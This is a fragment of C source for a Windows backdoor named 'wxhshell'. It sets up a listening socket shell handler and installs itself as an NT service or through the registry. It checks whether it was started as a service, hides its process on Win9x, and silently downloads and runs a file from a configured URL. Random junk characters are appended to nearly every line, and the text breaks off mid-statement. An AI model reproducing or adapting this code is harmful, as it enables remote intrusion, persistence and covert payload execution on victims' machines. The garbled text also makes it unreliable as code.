DWORD AffinityMask; 8B|qNf `Yi
DWORD BasePriority; sy
s6 V?
ULONG UniqueProcessId; "c'K8,+?
ULONG InheritedFromUniqueProcessId; MT?;9ZV}
} PROCESS_BASIC_INFORMATION; ^o|Gx
ophQdJM
PROCNTQSIP NtQueryInformationProcess; gPA),
NrN
rNl`w.
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 83|7#L
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P p]Ygt'u
;DG&HO
HANDLE hProcess; doj$chy
PROCESS_BASIC_INFORMATION pbi; >axf_k
Qgel^"t]i
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X-mhz3Q&a
if(NULL == hInst ) return 0; 3WTNWz#h
{,Py%.vvR
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +OTNn@!9
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LY? `+/
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H:x{qS4Si
ivi,/~L
if (!NtQueryInformationProcess) return 0; X
/
{;
LYV\|a{Y
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6Z,j^: B
if(!hProcess) return 0; 5|pPzEA>
%YhM?jMW
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0IP5&[-P
HK/T`p#
CloseHandle(hProcess); xi!CZNz
7YLG<G!v)]
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KK|AXoBf
if(hProcess==NULL) return 0; $Qc`4x;N
-9(9LU2
HMODULE hMod; p^yuz (
char procName[255]; vnrP;T=^
unsigned long cbNeeded; WF!u2E+
S.Z2gFE&tu
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w QnW2)9!
LKx<hl$O
CloseHandle(hProcess); SD=kpf;
Js706
if(strstr(procName,"services")) return 1; // 以服务启动 7E}.P1
6(9S'~*'R
return 0; // 注册表启动 }r)T75_1
} #*"5F*
z;F6:aBa
// 主模块 8=!BtMd"
int StartWxhshell(LPSTR lpCmdLine) l JR
{ T`?{Is['(
SOCKET wsl; @ 7WWoy
BOOL val=TRUE; \]a@ NBv
int port=0; bV~z}V&
struct sockaddr_in door; MeSF,*lP
%xH2jf
if(wscfg.ws_autoins) Install(); =HGC<#
OZ'=Xtbn
port=atoi(lpCmdLine); o(w xu)
/Mg$t6vM
if(port<=0) port=wscfg.ws_port; h\@\*Xz<v
/%P|<[<
[
WSADATA data; x_yQoae
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $^ wqoW%t
#"6O3.P
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; c[h{C!d1
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); DviR D[+q"
door.sin_family = AF_INET; Ns*&;x9
door.sin_addr.s_addr = inet_addr("127.0.0.1"); aJmSagr69C
door.sin_port = htons(port); >;9+4C<z0
YVpsf8R
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !qF U
closesocket(wsl); ]3%(
'8/
return 1; `wzb}"gLsM
} x'c%w:
2A5R3x=\
if(listen(wsl,2) == INVALID_SOCKET) { ?mRGFS
closesocket(wsl); I1Jo 8s
return 1; 42{\u 08Z
} *G6Py,- !f
Wxhshell(wsl); .*3.47O
WSACleanup(); }K8W%h<3S
Wvg+5Q
return 0; }ob&d.XZ
.w .`1
g
} )e1&[0
\@3B%RW0
// 以NT服务方式启动 ,y'E#_cTgQ
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) " G&S`8
{ |lnMT)^D
DWORD status = 0; zP
F0M(
DWORD specificError = 0xfffffff; orGkS<P
GO|1O|?
serviceStatus.dwServiceType = SERVICE_WIN32; )U?O4| \P
serviceStatus.dwCurrentState = SERVICE_START_PENDING; HoTg7/iK
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?
_>L<Y
serviceStatus.dwWin32ExitCode = 0; &Ti:IC%M
serviceStatus.dwServiceSpecificExitCode = 0; p,)~w1|
serviceStatus.dwCheckPoint = 0; D; @nrj`.
serviceStatus.dwWaitHint = 0; ^E)*i#."4
Ui^~A
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zn=Ifz)#|
if (hServiceStatusHandle==0) return; YEg(QOn3Q
19r4J(pV
status = GetLastError(); `~0^fSww
if (status!=NO_ERROR) Vg>\@ C.s
{ #%=6DHsK
serviceStatus.dwCurrentState = SERVICE_STOPPED; &"h 9Awn2
serviceStatus.dwCheckPoint = 0; ,k,RXgQ
serviceStatus.dwWaitHint = 0; e?V7<7$
serviceStatus.dwWin32ExitCode = status; TVVr<r
serviceStatus.dwServiceSpecificExitCode = specificError; 0pC}+
+
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9}=]oX!+V
return; ;F/yS2p
} 5 }pn5iI
]I+"";oQGB
serviceStatus.dwCurrentState = SERVICE_RUNNING;
d&@>P&AT
serviceStatus.dwCheckPoint = 0; lVw77bZ
serviceStatus.dwWaitHint = 0; n B5 :X
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b%TS37`^[
} doERBg`Jh
MHm=X8eg
// 处理NT服务事件,比如:启动、停止 x$6`k
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~$bkWb*RJ
{ 0# )I:5
switch(fdwControl) aLWNqe&1
{ swfcA\7R
case SERVICE_CONTROL_STOP: 3Y
L
serviceStatus.dwWin32ExitCode = 0; Hju7gP=y}
serviceStatus.dwCurrentState = SERVICE_STOPPED; lU}y%J@
serviceStatus.dwCheckPoint = 0; U@6bH@v5
serviceStatus.dwWaitHint = 0; xYg G
{ _`H2CXGg
SetServiceStatus(hServiceStatusHandle, &serviceStatus); g}vOp3^
} }:b6WN;c
return; )}G?^rDH(
case SERVICE_CONTROL_PAUSE:
v4pFts$J
serviceStatus.dwCurrentState = SERVICE_PAUSED; <#[_S$54
break; ?tf/#5t}
case SERVICE_CONTROL_CONTINUE: 5q.d$K |
serviceStatus.dwCurrentState = SERVICE_RUNNING; >BDK?YMx
break; FLqF!N\G
case SERVICE_CONTROL_INTERROGATE: 6<uJ}3
break; 8@}R_GZc
}; +# 38
SetServiceStatus(hServiceStatusHandle, &serviceStatus); tm"9`
} Qh0tU<jG
D)]U+Qk
// 标准应用程序主函数 a/nKKhXaM
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) TSl:a &
{ &8##)tS(y
Y/3CB
// 获取操作系统版本 tfSY(cXg'T
OsIsNt=GetOsVer(); &EELq"5K
GetModuleFileName(NULL,ExeFile,MAX_PATH); t7t?xk!2
'T
'&OA
// 从命令行安装 iEA$`LhO\A
if(strpbrk(lpCmdLine,"iI")) Install(); )YKnFSm
Xf4
// 下载执行文件 #dvH0LX?
if(wscfg.ws_downexe) { o|tq&&! <
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qHGwD20 ~
WinExec(wscfg.ws_filenam,SW_HIDE); eplz5%<
} ^-*q
(.CEEWj%{
if(!OsIsNt) { 86bRfW'
// 如果时win9x,隐藏进程并且设置为注册表启动 )@IDmz>
HideProc(); @y|ZXPC#
StartWxhshell(lpCmdLine); x344}\
} zKY 9'y
else f>*D@TrU
if(StartFromService()) xla64Qld
// 以服务方式启动 !mM`+XH
StartServiceCtrlDispatcher(DispatchTable); H/rJ:3
else aB=&X